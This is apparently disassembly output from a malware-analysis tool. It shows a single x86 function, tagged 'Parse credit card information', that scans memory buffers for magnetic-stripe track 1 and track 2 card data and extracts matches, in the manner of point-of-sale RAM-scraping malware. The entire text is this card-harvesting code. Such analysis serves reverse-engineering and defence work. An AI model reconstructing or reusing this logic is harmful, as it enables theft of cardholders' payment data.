Function at 0x403e40
Capabilities:
Parse credit card information

Disassembly:
push ebp
lea ebp, [esp - 0x70]
sub esp, 0x114
mov dword [ebp + 0x54], 0
cmp dword [ebp + 0x7c], 0
jbe 0x404752
mov eax, dword [ebp + 0x78]
mov dword [ebp + 0x6c], eax
mov ecx, dword [ebp + 0x6c]
movsx edx, byte [ecx]
test edx, edx
je 0x404729
mov eax, dword [ebp + 0x6c]
movsx ecx, byte [eax]
cmp ecx, 0x7f
jge 0x404729
mov edx, dword [ebp + 0x6c]
movsx eax, byte [edx]
cmp eax, 0x20
jle 0x404729
mov ecx, dword [ebp + 0x6c]
movsx edx, byte [ecx]
cmp edx, 0x25
jne 0x404151
cmp dword [ebp + 0x7c], 0x4f
jbe 0x404151
mov dword [ebp + 0x68], 0
mov eax, dword [ebp + 0x6c]
add eax, 1
mov dword [ebp + 0x6c], eax
mov ecx, dword [ebp + 0x6c]
mov dword [ebp + 0x5c], ecx
mov edx, dword [ebp + 0x6c]
movsx eax, byte [edx]
test eax, eax
jne 0x403ef8
mov ecx, dword [ebp + 0x6c]
add ecx, 1
mov dword [ebp + 0x6c], ecx
mov edx, dword [ebp + 0x6c]
movsx eax, byte [edx]
cmp eax, 0x42
je 0x403ee6
mov ecx, dword [ebp + 0x6c]
movsx edx, byte [ecx]
cmp edx, 0x62
jne 0x403ef8
mov dword [ebp + 0x60], 1
mov eax, dword [ebp + 0x6c]
add eax, 2
mov dword [ebp + 0x6c], eax
jmp 0x403f37
mov ecx, dword [ebp + 0x5c]
movsx edx, byte [ecx]
cmp edx, 0x42
je 0x403f0e
mov eax, dword [ebp + 0x5c]
movsx ecx, byte [eax]
cmp ecx, 0x62
jne 0x403f20
mov dword [ebp + 0x60], 0
mov edx, dword [ebp + 0x6c]
add edx, 1
mov dword [ebp + 0x6c], edx
jmp 0x403f37
mov eax, dword [ebp + 0x78]
add eax, 1
mov dword [ebp + 0x78], eax
mov ecx, dword [ebp + 0x7c]
sub ecx, 1
mov dword [ebp + 0x7c], ecx
jmp 0x403e52
mov edx, dword [ebp + 0x68]
add edx, 2
mov dword [ebp + 0x68], edx
mov dword [ebp + 0x58], 1
mov eax, dword [ebp + 0x58]
push eax
mov ecx, dword [ebp + 0x60]
push ecx
mov edx, dword [ebp + 0x6c]
push edx
call fcn.00405120
add esp, 0xc
mov dword [ebp + 0x64], eax
cmp dword [ebp + 0x64], 0xffffffff
je 0x404151
push 0x14
push 0
lea eax, [ebp + 0x40]
push eax
call fcn.00401940
add esp, 0xc
cmp dword [ebp + 0x60], 1
jne 0x403f9c
push 0
push 0
push 0x14
lea ecx, [ebp + 0x40]
push ecx
mov edx, dword [ebp + 0x64]
push edx
mov eax, dword [ebp + 0x6c]
push eax
push 0
push 0
call dword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
jmp 0x403fb0
mov ecx, dword [ebp + 0x64]
push ecx
mov edx, dword [ebp + 0x6c]
push edx
lea eax, [ebp + 0x40]
push eax
call fcn.00401980
add esp, 0xc
mov ecx, dword [ebp + 0x68]
add ecx, dword [ebp + 0x64]
mov dword [ebp + 0x68], ecx
mov edx, dword [ebp + 0x64]
push edx
lea eax, [ebp + 0x40]
push eax
call fcn.00405000
add esp, 8
cmp eax, 1
jne 0x404151
cmp dword [ebp + 0x60], 0
jne 0x403fe3
mov ecx, dword [ebp + 0x6c]
add ecx, dword [ebp + 0x64]
mov dword [ebp + 0x6c], ecx
jmp 0x403fef
mov edx, dword [ebp + 0x64]
mov eax, dword [ebp + 0x6c]
lea ecx, [eax + edx*2]
mov dword [ebp + 0x6c], ecx
mov edx, dword [ebp + 0x6c]
movsx eax, byte [edx]
cmp eax, 0x5e
jne 0x404151
mov ecx, dword [ebp + 0x60]
push ecx
mov edx, dword [ebp + 0x6c]
push edx
call fcn.00405200
add esp, 8
mov dword [ebp + 0x64], eax
cmp dword [ebp + 0x64], 0xffffffff
je 0x404151
cmp dword [ebp + 0x60], 0
jne 0x40402c
mov eax, dword [ebp + 0x6c]
add eax, dword [ebp + 0x64]
mov dword [ebp + 0x6c], eax
jmp 0x404038
mov ecx, dword [ebp + 0x64]
mov edx, dword [ebp + 0x6c]
lea eax, [edx + ecx*2]
mov dword [ebp + 0x6c], eax
mov ecx, dword [ebp + 0x68]
add ecx, dword [ebp + 0x64]
mov dword [ebp + 0x68], ecx
mov edx, 0x4f
sub edx, dword [ebp + 0x68]
push edx
mov eax, dword [ebp + 0x58]
push eax
mov ecx, dword [ebp + 0x60]
push ecx
mov edx, dword [ebp + 0x6c]
push edx
call fcn.00405270
add esp, 0x10
mov dword [ebp + 0x64], eax
cmp dword [ebp + 0x64], 0xffffffff
je 0x404151
cmp dword [ebp + 0x60], 0
jne 0x40407c
mov eax, dword [ebp + 0x6c]
add eax, dword [ebp + 0x64]
mov dword [ebp + 0x6c], eax
jmp 0x404088
mov ecx, dword [ebp + 0x64]
mov edx, dword [ebp + 0x6c]
lea eax, [edx + ecx*2]
mov dword [ebp + 0x6c], eax
mov ecx, dword [ebp + 0x68]
add ecx, dword [ebp + 0x64]
mov dword [ebp + 0x68], ecx
mov edx, dword [ebp + 0x5c]
sub edx, 1
mov dword [ebp + 0x5c], edx
push 0x4f
push 0
lea eax, [ebp - 0x38]
push eax
call fcn.00401940
add esp, 0xc
cmp dword [ebp + 0x60], 0
jne 0x4040c6
mov ecx, dword [ebp + 0x68]
push ecx
mov edx, dword [ebp + 0x5c]
push edx
lea eax, [ebp - 0x38]
push eax
call fcn.00401980
add esp, 0xc
jmp 0x4040e2
push 0
push 0
push 0x4f
lea ecx, [ebp - 0x38]
push ecx
mov edx, dword [ebp + 0x68]
push edx
mov eax, dword [ebp + 0x5c]
push eax
push 0
push 0
call dword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
lea ecx, [ebp - 0x38]
push ecx
mov edx, dword [0x407200]
push edx
call dword [sym.imp.SHLWAPI.dll_StrStrA]
test eax, eax
jne 0x404151
mov eax, dword [ebp + 0x68]
push eax
lea ecx, [ebp - 0x38]
push ecx
call fcn.00404e70
add esp, 8
mov edx, dword [ebp + 0x68]
push edx
lea eax, [ebp - 0x38]
push eax
call fcn.00404e00
add esp, 8
cmp dword [ebp + 0x60], 0
jne 0x404131
mov ecx, dword [ebp + 0x78]
add ecx, dword [ebp + 0x68]
mov dword [ebp + 0x78], ecx
mov edx, dword [ebp + 0x7c]
sub edx, dword [ebp + 0x68]
mov dword [ebp + 0x7c], edx
jmp 0x40414a
mov eax, dword [ebp + 0x68]
mov ecx, dword [ebp + 0x78]
lea edx, [ecx + eax*2]
mov dword [ebp + 0x78], edx
mov eax, dword [ebp + 0x68]
shl eax, 1
mov ecx, dword [ebp + 0x7c]
sub ecx, eax
mov dword [ebp + 0x7c], ecx
mov dword [ebp + 0x54], 1
mov edx, dword [ebp + 0x6c]
movsx eax, byte [edx]
cmp eax, 0x3b
jne 0x4043e9
cmp dword [ebp + 0x7c], 0x28
jbe 0x4043e9
mov dword [ebp + 0x68], 0
mov ecx, dword [ebp + 0x6c]
add ecx, 1
mov dword [ebp + 0x6c], ecx
mov edx, dword [ebp + 0x6c]
mov dword [ebp + 0x5c], edx
mov eax, dword [ebp + 0x6c]
movsx ecx, byte [eax]
test ecx, ecx
jne 0x4041b0
mov edx, dword [ebp + 0x6c]
add edx, 1
mov dword [ebp + 0x6c], edx
mov eax, dword [ebp + 0x6c]
movzx ecx, byte [eax]
push ecx
call fcn.004050f0
add esp, 4
cmp eax, 1
jne 0x4041b0
mov dword [ebp + 0x60], 1
jmp 0x4041e4
mov edx, dword [ebp + 0x5c]
movzx eax, byte [edx]
push eax
call fcn.004050f0
add esp, 4
cmp eax, 1
jne 0x4041cd
mov dword [ebp + 0x60], 0
jmp 0x4041e4
mov ecx, dword [ebp + 0x78]
add ecx, 1
mov dword [ebp + 0x78], ecx
mov edx, dword [ebp + 0x7c]
sub edx, 1
mov dword [ebp + 0x7c], edx
jmp 0x403e52
mov eax, dword [ebp + 0x68]
add eax, 1
mov dword [ebp + 0x68], eax
mov dword [ebp + 0x58], 1
mov ecx, dword [ebp + 0x58]
push ecx
mov edx, dword [ebp + 0x60]
push edx
mov eax, dword [ebp + 0x6c]
push eax
call fcn.00405120
add esp, 0xc
mov dword [ebp + 0x64], eax
cmp dword [ebp + 0x64], 0xffffffff
je 0x4043e9
push 0x14
push 0
lea ecx, [ebp + 0x40]
push ecx
call fcn.00401940
add esp, 0xc
cmp dword [ebp + 0x60], 1
jne 0x404249
push 0
push 0
push 0x14
lea edx, [ebp + 0x40]
push edx
mov eax, dword [ebp + 0x64]
push eax
mov ecx, dword [ebp + 0x6c]
push ecx
push 0
push 0
call dword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
jmp 0x40425d
mov edx, dword [ebp + 0x64]
push edx
mov eax, dword [ebp + 0x6c]
push eax
lea ecx, [ebp + 0x40]
push ecx
call fcn.00401980
add esp, 0xc
mov edx, dword [ebp + 0x68]
add edx, dword [ebp + 0x64]
mov dword [ebp + 0x68], edx
mov eax, dword [ebp + 0x64]
push eax
lea ecx, [ebp + 0x40]
push ecx
call fcn.00405000
add esp, 8
cmp eax, 1
jne 0x4043e9
cmp dword [ebp + 0x60], 0
jne 0x404290
mov edx, dword [ebp + 0x6c]
add edx, dword [ebp + 0x64]
mov dword [ebp + 0x6c], edx
jmp 0x40429c
mov eax, dword [ebp + 0x64]
mov ecx, dword [ebp + 0x6c]
lea edx, [ecx + eax*2]
mov dword [ebp + 0x6c], edx
mov eax, dword [ebp + 0x6c]
movsx ecx, byte [eax]
cmp ecx, 0x3d
je 0x4042b6
mov edx, dword [ebp + 0x6c]
movsx eax, byte [edx]
cmp eax, 0x44
jne 0x4043e9
cmp dword [ebp + 0x60], 0
jne 0x4042c7
mov ecx, dword [ebp + 0x6c]
add ecx, 1
mov dword [ebp + 0x6c], ecx
jmp 0x4042d0
mov edx, dword [ebp + 0x6c]
add edx, 2
mov dword [ebp + 0x6c], edx
mov eax, dword [ebp + 0x68]
add eax, 1
mov dword [ebp + 0x68], eax
mov ecx, 0x28
sub ecx, dword [ebp + 0x68]
push ecx
mov edx, dword [ebp + 0x58]
push edx
mov eax, dword [ebp + 0x60]
push eax
mov ecx, dword [ebp + 0x6c]
push ecx
call fcn.00405270
add esp, 0x10
mov dword [ebp + 0x64], eax
cmp dword [ebp + 0x64], 0xffffffff
je 0x4043e9
cmp dword [ebp + 0x60], 0
jne 0x404314
mov edx, dword [ebp + 0x6c]
add edx, dword [ebp + 0x64]
mov dword [ebp + 0x6c], edx
jmp 0x404320
mov eax, dword [ebp + 0x64]
mov ecx, dword [ebp + 0x6c]
lea edx, [ecx + eax*2]
mov dword [ebp + 0x6c], edx
mov eax, dword [ebp + 0x68]
add eax, dword [ebp + 0x64]
mov dword [ebp + 0x68], eax
mov ecx, dword [ebp + 0x5c]
sub ecx, 1
mov dword [ebp + 0x5c], ecx
push 0x28
push 0
lea edx, [ebp + 0x18]
push edx
call fcn.00401940
add esp, 0xc
cmp dword [ebp + 0x60], 0
jne 0x40435e
mov eax, dword [ebp + 0x68]
push eax
mov ecx, dword [ebp + 0x5c]
push ecx
lea edx, [ebp + 0x18]
push edx
call fcn.00401980
add esp, 0xc
jmp 0x40437a
push 0
push 0
push 0x28
lea eax, [ebp + 0x18]
push eax
mov ecx, dword [ebp + 0x68]
push ecx
mov edx, dword [ebp + 0x5c]
push edx
push 0
push 0
call dword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
lea eax, [ebp + 0x18]
push eax
mov ecx, dword [0x407200]
push ecx
call dword [sym.imp.SHLWAPI.dll_StrStrA]
test eax, eax
jne 0x4043e9
mov edx, dword [ebp + 0x68]
push edx
lea eax, [ebp + 0x18]
push eax
call fcn.00404e70
add esp, 8
mov ecx, dword [ebp + 0x68]
push ecx
lea edx, [ebp + 0x18]
push edx
call fcn.00404e00
add esp, 8
cmp dword [ebp + 0x60], 0
jne 0x4043c9
mov eax, dword [ebp + 0x78]
add eax, dword [ebp + 0x68]
mov dword [ebp + 0x78], eax
mov ecx, dword [ebp + 0x7c]
sub ecx, dword [ebp + 0x68]
mov dword [ebp + 0x7c], ecx
jmp 0x4043e2
mov edx, dword [ebp + 0x68]
mov eax, dword [ebp + 0x78]
lea ecx, [eax + edx*2]
mov dword [ebp + 0x78], ecx
mov edx, dword [ebp + 0x68]
shl edx, 1
mov eax, dword [ebp + 0x7c]
sub eax, edx
mov dword [ebp + 0x7c], eax
mov dword [ebp + 0x54], 1
mov ecx, dword [ebp + 0x6c]
movsx edx, byte [ecx]
cmp edx, 0x2b
je 0x40440e
mov eax, dword [ebp + 0x6c]
movsx ecx, byte [eax]
cmp ecx, 0x21
je 0x40440e
mov edx, dword [ebp + 0x6c]
movsx eax, byte [edx]
cmp eax, 0x23
jne 0x404729
cmp dword [ebp + 0x7c], 0x6b
jbe 0x404729
mov dword [ebp + 0x68], 0
mov ecx, dword [ebp + 0x6c]
add ecx, 1
mov dword [ebp + 0x6c], ecx
mov edx, dword [ebp + 0x6c]
mov dword [ebp + 0x5c], edx
mov eax, dword [ebp + 0x6c]
movsx ecx, byte [eax]
test ecx, ecx
jne 0x40445e
mov edx, dword [ebp + 0x6c]
add edx, 1
mov dword [ebp + 0x6c], edx
mov eax, dword [ebp + 0x6c]
movzx ecx, byte [eax]
push ecx
call fcn.004050f0
add esp, 4
cmp eax, 1
jne 0x40445e
mov dword [ebp + 0x60], 1
jmp 0x404492
mov edx, dword [ebp + 0x5c]
movzx eax, byte [edx]
push eax
call fcn.004050f0
add esp, 4
cmp eax, 1
jne 0x40447b
mov dword [ebp + 0x60], 0
jmp 0x404492
mov ecx, dword [ebp + 0x78]
add ecx, 1
mov dword [ebp + 0x78], ecx
mov edx, dword [ebp + 0x7c]
sub edx, 1
mov dword [ebp + 0x7c], edx
jmp 0x403e52
cmp dword [ebp + 0x60], 1
jne 0x4044d6
mov eax, dword [ebp + 0x6c]
add eax, 2
mov dword [ebp + 0x6c], eax
mov ecx, dword [ebp + 0x6c]
movzx edx, byte [ecx]
push edx
call fcn.004050f0
add esp, 4
test eax, eax
jne 0x4044cb
mov eax, dword [ebp + 0x78]
add eax, 1
mov dword [ebp + 0x78], eax
mov ecx, dword [ebp + 0x7c]
sub ecx, 1
mov dword [ebp + 0x7c], ecx
jmp 0x403e52
mov edx, dword [ebp + 0x6c]
add edx, 2
mov dword [ebp + 0x6c], edx
jmp 0x404512
mov eax, dword [ebp + 0x6c]
add eax, 1
mov dword [ebp + 0x6c], eax
mov ecx, dword [ebp + 0x6c]
movzx edx, byte [ecx]
push edx
call fcn.004050f0
add esp, 4
test eax, eax
jne 0x404509
mov eax, dword [ebp + 0x78]
add eax, 1
mov dword [ebp + 0x78], eax
mov ecx, dword [ebp + 0x7c]
sub ecx, 1
mov dword [ebp + 0x7c], ecx
jmp 0x403e52
mov edx, dword [ebp + 0x6c]
add edx, 1
mov dword [ebp + 0x6c], edx
mov eax, dword [ebp + 0x68]
add eax, 3
mov dword [ebp + 0x68], eax
mov dword [ebp + 0x58], 1
mov ecx, dword [ebp + 0x58]
push ecx
mov edx, dword [ebp + 0x60]
push edx
mov eax, dword [ebp + 0x6c]
push eax
call fcn.00405120
add esp, 0xc
mov dword [ebp + 0x64], eax
cmp dword [ebp + 0x64], 0xffffffff
je 0x404729
push 0x14
push 0
lea ecx, [ebp + 0x40]
push ecx
call fcn.00401940
add esp, 0xc
cmp dword [ebp + 0x60], 1
jne 0x404577
push 0
push 0
push 0x14
lea edx, [ebp + 0x40]
push edx
mov eax, dword [ebp + 0x64]
push eax
mov ecx, dword [ebp + 0x6c]
push ecx
push 0
push 0
call dword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
jmp 0x40458b
mov edx, dword [ebp + 0x64]
push edx
mov eax, dword [ebp + 0x6c]
push eax
lea ecx, [ebp + 0x40]
push ecx
call fcn.00401980
add esp, 0xc
mov edx, dword [ebp + 0x68]
add edx, dword [ebp + 0x64]
mov dword [ebp + 0x68], edx
mov eax, dword [ebp + 0x64]
push eax
lea ecx, [ebp + 0x40]
push ecx
call fcn.00405000
add esp, 8
cmp eax, 1
jne 0x404729
cmp dword [ebp + 0x60], 0
jne 0x4045be
mov edx, dword [ebp + 0x6c]
add edx, dword [ebp + 0x64]
mov dword [ebp + 0x6c], edx
jmp 0x4045ca
mov eax, dword [ebp + 0x64]
mov ecx, dword [ebp + 0x6c]
lea edx, [ecx + eax*2]
mov dword [ebp + 0x6c], edx
mov eax, dword [ebp + 0x6c]
movsx ecx, byte [eax]
cmp ecx, 0x3d
je 0x4045e4
mov edx, dword [ebp + 0x6c]
movsx eax, byte [edx]
cmp eax, 0x44
jne 0x404729
cmp dword [ebp + 0x60], 0
jne 0x4045f5
mov ecx, dword [ebp + 0x6c]
add ecx, 1
mov dword [ebp + 0x6c], ecx
jmp 0x4045fe
mov edx, dword [ebp + 0x6c]
add edx, 2
mov dword [ebp + 0x6c], edx
mov eax, dword [ebp + 0x68]
add eax, 1
mov dword [ebp + 0x68], eax
mov ecx, 0x28
sub ecx, dword [ebp + 0x68]
push ecx
mov edx, dword [ebp + 0x58]
push edx
mov eax, dword [ebp + 0x60]
push eax
mov ecx, dword [ebp + 0x6c]
push ecx
call fcn.00405270
add esp, 0x10
mov dword [ebp + 0x64], eax
cmp dword [ebp + 0x64], 0xffffffff
je 0x404729
cmp dword [ebp + 0x60], 0
jne 0x404642
mov edx, dword [ebp + 0x6c]
add edx, dword [ebp + 0x64]
mov dword [ebp + 0x6c], edx
jmp 0x40464e
mov eax, dword [ebp + 0x64]
mov ecx, dword [ebp + 0x6c]
lea edx, [ecx + eax*2]
mov dword [ebp + 0x6c], edx
mov eax, dword [ebp + 0x68]
add eax, dword [ebp + 0x64]
mov dword [ebp + 0x68], eax
mov ecx, dword [ebp + 0x5c]
sub ecx, 1
mov dword [ebp + 0x5c], ecx
push 0x6b
push 0
lea edx, [ebp - 0xa4]
push edx
call fcn.00401940
add esp, 0xc
cmp dword [ebp + 0x60], 0
jne 0x404692
mov eax, dword [ebp + 0x68]
push eax
mov ecx, dword [ebp + 0x5c]
push ecx
lea edx, [ebp - 0xa4]
push edx
call fcn.00401980
add esp, 0xc
jmp 0x4046b1
push 0
push 0
push 0x6b
lea eax, [ebp - 0xa4]
push eax
mov ecx, dword [ebp + 0x68]
push ecx
mov edx, dword [ebp + 0x5c]
push edx
push 0
push 0
call dword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
lea eax, [ebp - 0xa4]
push eax
mov ecx, dword [0x407200]
push ecx
call dword [sym.imp.SHLWAPI.dll_StrStrA]
test eax, eax
jne 0x404729
mov edx, dword [ebp + 0x68]
push edx
lea eax, [ebp - 0xa4]
push eax
call fcn.00404e70
add esp, 8
mov ecx, dword [ebp + 0x68]
push ecx
lea edx, [ebp - 0xa4]
push edx
call fcn.00404e00
add esp, 8
cmp dword [ebp + 0x60], 0
jne 0x404709
mov eax, dword [ebp + 0x78]
add eax, dword [ebp + 0x68]
mov dword [ebp + 0x78], eax
mov ecx, dword [ebp + 0x7c]
sub ecx, dword [ebp + 0x68]
mov dword [ebp + 0x7c], ecx
jmp 0x404722
mov edx, dword [ebp + 0x68]
mov eax, dword [ebp + 0x78]
lea ecx, [eax + edx*2]
mov dword [ebp + 0x78], ecx
mov edx, dword [ebp + 0x68]
shl edx, 1
mov eax, dword [ebp + 0x7c]
sub eax, edx
mov dword [ebp + 0x7c], eax
mov dword [ebp + 0x54], 1
cmp dword [ebp + 0x54], 1
jne 0x40473b
mov dword [ebp + 0x54], 0
jmp 0x403e5c
mov ecx, dword [ebp + 0x78]
add ecx, 1
mov dword [ebp + 0x78], ecx
mov edx, dword [ebp + 0x7c]
sub edx, 1
mov dword [ebp + 0x7c], edx
jmp 0x403e52
add ebp, 0x70
mov esp, ebp
pop ebp
ret